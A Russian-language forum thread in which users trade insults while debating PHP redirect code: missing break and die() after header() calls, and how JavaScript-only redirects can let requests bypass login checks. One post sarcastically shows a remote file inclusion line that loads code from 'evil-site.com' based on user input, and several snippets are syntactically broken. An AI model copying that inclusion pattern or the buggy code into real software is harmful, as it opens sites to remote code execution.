Pashkela, нет, ты меня бесишь и у тебя ублюдочная аватарка, помимо того, что просто клоун :-* Ничем, просто здесь будет достаточно хтмл форму после пхп пустить, а когда кода много удобнее не гемороица и юзать js. Короче, просто мне так удобнее и привычнее.
test пашет , а test2 вместо того чтобы на Yandex - выдаешь страницу ошибки google , как при условии неверного введения ... PHP: <form> <input type="text" name="url"> </form> <?php if(isset($_GET['url'])) { switch($_GET['url'])//) { case "test": header("location:http://google.ru"); break; case "test2": header("location:http://yandex.ru"); default; header("location:http://google.ru?error"); break; } } ?>
Не, что бешу, это понятно, а если опять по сабжу - ну если javascript в браузере отключен, то что? Несмотря на то, что так привычней? Какие действия, как проверять будешь и etc. Я серьезно. Просто интересно, может пригодится
ну да, тут серьёзная бага, если отключён js то можно попасть в эту часть кода а здесь уже сам понимкаешь и до заливки шелла недалеко
Pashkela, юзать js в каком-то проекте не буду, буду юзать хэдеры или на крайняк, если уж совсем припрет - инклюдить meta-редирект
2 Spyder: Ну как же, ты развил тему и предложил сразу два новых способа залить шелл - грины как всегда на высоте. Зачод
попугай, в статье электа описано Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает ява скриптом на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку Видимо Пашкела просто прочитал статью ничего не поняв и пытается доказать что в этом коде есть ужасная бага, т.к в данном скрипте ничего опасно нет, посты Пашкелы выглядят немного бредом. Конечно не стоит забывать про особые обстоятельства
Ув.Spyder, готов с Вами подискутировать на эту тему! А если будет листинг кода подобный этому? PHP: switch($_GET['url']) { case "test": header("location:http://google.ru"); include('http://evil-site.com/'.$_GET['url'].'.txt') break; case "test2": header("location:http://yandex.ru"); default: header("location:http://google.ru?error"); or die('Ошибон :D'); break; } тогда этот буквально как решето!!! всего лишь нужно похекать сайт http://evil-site.com/, и залить туда шелл с именем test.txt и все!!! Мы похеканы! а вот был бы код такой : PHP: case "test": header("location:http://google.ru"); die(); include('http://evil-site.com/'.$_GET['url'].'.txt') break; Мы бы были защищены! =) Ты просто не знаешь особых условий, чтобы switch сделать инклудом
PHP: <?php if(isset($_REQUEST['url'])) { switch($_REQUEST['url']]) { case 'test': header("Location: http://goggle.com"); break; case 'test2': header("Location: http://yandex.ru"); break; default: header("Location: http://google.com/error"); break; } exit; } ?> <form> <input type="text" name="url"> <input type="submit"> </form>
GreenBear, ппц, ты не в курсе что у тебя в коде 4 баги? Забыл что надо die() ставить? Вступай в наш фан-клуб, узнаешь как писать безопасный код